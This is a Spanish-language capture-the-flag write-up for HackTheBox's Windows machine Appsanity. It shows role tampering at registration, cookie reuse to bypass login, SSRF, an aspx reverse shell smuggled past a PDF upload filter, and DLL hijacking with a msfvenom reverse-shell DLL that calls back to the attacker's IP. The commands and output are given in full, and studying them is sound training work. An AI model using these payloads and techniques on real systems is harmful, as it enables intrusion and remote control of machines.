Appsanity es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Appsanity 10.10.11.238 a /etc/hosts como appsanity.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.238 Nmap scan report for 10.10.11.238 Host is up, received syn-ack ttl 127 (0.047s latency). Scanned at 2023-11-02 09:51:35 GMT for 26s Not shown: 65531 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 443/tcp open https syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 7680/tcp open pando-pub syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Nov 2 09:52:01 2023 -- 1 IP address (1 host up) scanned in 26.59 seconds |
Descubiertos los puertos abiertos, lanzamos un escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 80,443,5985,7680 -oA enumeration/nmap2 -Pn 10.10.11.238 Nmap scan report for 10.10.11.238 Host is up (0.041s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Did not follow redirect to https://meddigi.htb/ |_http-server-header: Microsoft-IIS/10.0 443/tcp open https? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 7680/tcp open pando-pub? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Nov 2 09:52:59 2023 -- 1 IP address (1 host up) scanned in 53.38 seconds |
Enumeración
Añadimos al fichero hosts el dominio descubierto en el escaneo, meddigi.htb, y accedemos al portal web a través del navegador

A simple vista vemos un portal destinado a una empresa que ofrece servicios médicos, así que seguimos con la enumeración y encontramos un subdominio
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u https://meddigi.htb -H "Host: FUZZ.meddigi.htb" -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : https://meddigi.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.meddigi.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 2607ms] * FUZZ: portal :: Progress: [4989/4989] :: Job [1/1] :: 166 req/sec :: Duration: [0:00:31] :: Errors: 0 :: |
Así que añadimos al fichero hosts el subdominio portal.meddigi.htb y accedemos a través del navegador

Y vemos el login a la aplicación destinada para los doctores. No sabemos como entrar así que volvemos a la página inicial y nos crearemos una cuenta como paciente, accediendo al siguiente panel

En el mismo vemos información del paciente y un cuadro para comunicarse con el doctor asignado, aunque en nuestro caso, no tenemos ninguno.
Revisamos el mismo, la petición y vemos que en la petición incluye un parámetro llamado Acctype

Cambiamos el valor del mismo a 2 durante el proceso de registro de un nuevo paciente, y al acceder veremos que el usuario creado tiene el rol de doctor

Probamos a utilizar las mismas credenciales para acceder al portal pero no funcionan, así que revisamos las cookies

Creamos la cookie de access_token en el portal de doctores y recargamos la página, consiguiendo con ello saltarnos el panel de login

Revisando este portal vemos que podemos actualizar el perfil, programar citas, crear recetas o subir reportes.
Navegamos por todo hasta dar con la tecla y obtenemos que la página de prescripciones médicas es vulnerable a SSRF

Introduciendo como enlace de la prescripción la url
|
1 |
http://127.0.0.1:8080 |
Podemos acceder a otra aplicación en el servidor que nos muestra los informes médicos.
Vamos a la sección de informes y subimos un report, aunque nos obliga a subir un fichero pdf, que para la prueba, conseguimos pasar añadiendo en la primera línea los caracteres
|
1 |
%PDF-1.7 |

Así que subiremos una revshell en aspx, y para poder saltar la restricción cambiaremos la cabecera de content-type por application/pdf.
Copiamos el nombre final del fichero y llamaremos a nuestro fichero a través del ssrf

Ejecutamos y obtendremos una revshell con el usuario svc_exampanel
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.238] 58917 Spawn Shell... Microsoft Windows [Version 10.0.19045.3570] (c) Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami whoami appsanity\svc_exampanel c:\windows\system32\inetsrv> |
Obteniendo la flag de user
Vamos al escritorio del usuario y obtenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
c:\Users\svc_exampanel\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is F854-971D Directory of c:\Users\svc_exampanel\Desktop 10/18/2023 05:41 PM <DIR> . 10/18/2023 05:41 PM <DIR> .. 11/02/2023 02:48 AM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 3,979,579,392 bytes free c:\Users\svc_exampanel\Desktop>type user.txt type user.txt 0d7xxxxxxxxxxxxxxxxxxxxxxx105b |
Escalado al usuario devdoc
Revisando el directorio del portal web vemos las librerías que utiliza la aplicación de ExaminationPanel
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
c:\inetpub\ExaminationPanel\ExaminationPanel\bin>dir dir Volume in drive C has no label. Volume Serial Number is F854-971D Directory of c:\inetpub\ExaminationPanel\ExaminationPanel\bin 09/26/2023 07:30 AM <DIR> . 09/26/2023 07:30 AM <DIR> .. 09/24/2023 08:46 AM 4,991,352 EntityFramework.dll 09/24/2023 08:46 AM 591,752 EntityFramework.SqlServer.dll 09/24/2023 08:46 AM 13,824 ExaminationManagement.dll 09/24/2023 08:46 AM 40,168 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll 09/24/2023 08:49 AM <DIR> roslyn 09/24/2023 08:46 AM 431,792 System.Data.SQLite.dll 09/24/2023 08:46 AM 206,512 System.Data.SQLite.EF6.dll 09/24/2023 08:46 AM 206,520 System.Data.SQLite.Linq.dll 09/24/2023 08:49 AM <DIR> x64 09/24/2023 08:49 AM <DIR> x86 7 File(s) 6,481,920 bytes 5 Dir(s) 3,979,649,024 bytes free |
Nos descargamos el dll de la aplicación por smb
|
1 2 3 |
c:\inetpub\ExaminationPanel\ExaminationPanel\bin>copy ExaminationManagement.dll \\10.10.14.4\data\ copy ExaminationManagement.dll \\10.10.14.4\data\ 1 file(s) copied. |
Y analizaremos el mismo con dnspy, donde vemos que carga una clave de registro

Obtenemos la misma por la consola y obtenemos una password
|
1 2 3 4 5 |
c:\inetpub\ExaminationPanel\ExaminationPanel\bin>reg query HKLM\Software\MedDigi reg query HKLM\Software\MedDigi HKEY_LOCAL_MACHINE\Software\MedDigi EncKey REG_SZ 1g0tTh3R3m3dy!! |
Hacemos el ataque de password spraying con crackmapexec y accedemos por winrm con el usuario devdoc
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ evil-winrm -i meddigi.htb -u devdoc -p '1g0tTh3R3m3dy!!' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\devdoc\Documents> whoami appsanity\devdoc *Evil-WinRM* PS C:\Users\devdoc\Documents> |
Escalado de privilegios
El siguiente paso será conseguir acceso como admin, así que seguimos buscando y encontramos la aplicación principal que utiliza el portal web
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
*Evil-WinRM* PS C:\program files\reportmanagement> dir Directory: C:\program files\reportmanagement Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/23/2023 11:33 AM Libraries -a---- 5/5/2023 5:21 AM 34152 cryptbase.dll -a---- 5/5/2023 5:21 AM 83744 cryptsp.dll -a---- 3/11/2021 9:22 AM 564112 msvcp140.dll -a---- 9/17/2023 3:54 AM 140512 profapi.dll -a---- 10/20/2023 2:56 PM 102912 ReportManagement.exe -a---- 10/20/2023 1:47 PM 11492864 ReportManagementHelper.exe -a---- 3/11/2021 9:22 AM 96144 vcruntime140.dll -a---- 3/11/2021 9:22 AM 36752 vcruntime140_1.dll -a---- 5/5/2023 5:21 AM 179248 wldp.dll |
Nos descargamos el fichero ReportManagement.exe para su análisis
|
1 2 3 4 5 |
*Evil-WinRM* PS C:\program files\reportmanagement> download ReportManagement.exe Info: Downloading C:\program files\reportmanagement\ReportManagement.exe to ReportManagement.exe Info: Download successful! |
Y analizaremos el mismo con ghidra.
Revisamos el mismo y vemos varias cosas:
Utiliza el puerto 100 para la comunicación y ejecución de algunos comandos

Y utiliza la librería externalupload.dll para la carga de las funciones necesarias por la aplicación


Volvemos a la máquina, y si revisamos la ruta de la librería, vemos que no existe
|
1 |
*Evil-WinRM* PS C:\program files\reportmanagement> dir "C:\Program Files\ReportManagement\Libraries" |
Revisamos los permisos del directorio y vemos que podemos escribir
|
1 2 3 4 5 6 7 8 9 10 11 12 |
*Evil-WinRM* PS C:\program files\reportmanagement\Libraries> icacls "C:\Program Files\ReportManagement\Libraries" C:\Program Files\ReportManagement\Libraries APPSANITY\devdoc:(OI)(CI)(RX,W) BUILTIN\Administrators:(I)(F) CREATOR OWNER:(I)(OI)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(OI)(CI)(R) NT SERVICE\TrustedInstaller:(I)(CI)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX) Successfully processed 1 files; Failed processing 0 files |
Así que generamos una dll con msfvenom que nos permita obtener una revshell
|
1 2 3 4 5 6 7 |
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f dll -o externalupload.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 9216 bytes Saved as: externalupload.dll |
Y subimos el fichero a dicho directorio.
El siguiente paso será acceder al puerto 100, que como vemos sólo permite el acceso en local
|
1 2 |
*Evil-WinRM* PS C:\Users\devdoc\Documents> netstat -ant|findstr 100 TCP 0.0.0.0:100 0.0.0.0:0 LISTENING InHost |
Así que levantamos un server con chisel
|
1 2 3 4 |
$ ./chisel server --reverse --port 8000 2023/11/02 11:32:56 server: Reverse tunnelling enabled 2023/11/02 11:32:56 server: Fingerprint VyLUbMgn2ct1PzFBvaMNFkZs3lnJl6ox7XNsS4wG6xo= 2023/11/02 11:32:56 server: Listening on http://0.0.0.0:8000 |
Ejecutamos el cliente
|
1 |
*Evil-WinRM* PS C:\Users\devdoc\Documents> .\chisel.exe client 10.10.14.4:8000 R:100:127.0.0.1:100 |
Y conectamos por nc al puerto 100
|
1 2 3 4 |
$ nc localhost 100 Reports Management administrative console. Type "help" to view available commands. upload externalupload.dll Attempting to upload to external source. |
Le mandamos un fichero externo y automáticamente obtendremos la revshell
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.238] 58924 Microsoft Windows [Version 10.0.19045.3570] (c) Microsoft Corporation. All rights reserved. C:\Program Files\ReportManagement> C:\Program Files\ReportManagement>whoami appsanity\administrator C:\Program Files\ReportManagement> |
Obteniendo la flag de root
Así que vamos al escritorio del usuario administrator y cogemos la flag
|
1 2 3 |
C:\Program Files\ReportManagement>type c:\users\administrator\desktop\root.txt type c:\users\administrator\desktop\root.txt 55xxxxxxxxxxxxxxxxxxxxxxxxx0ec |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










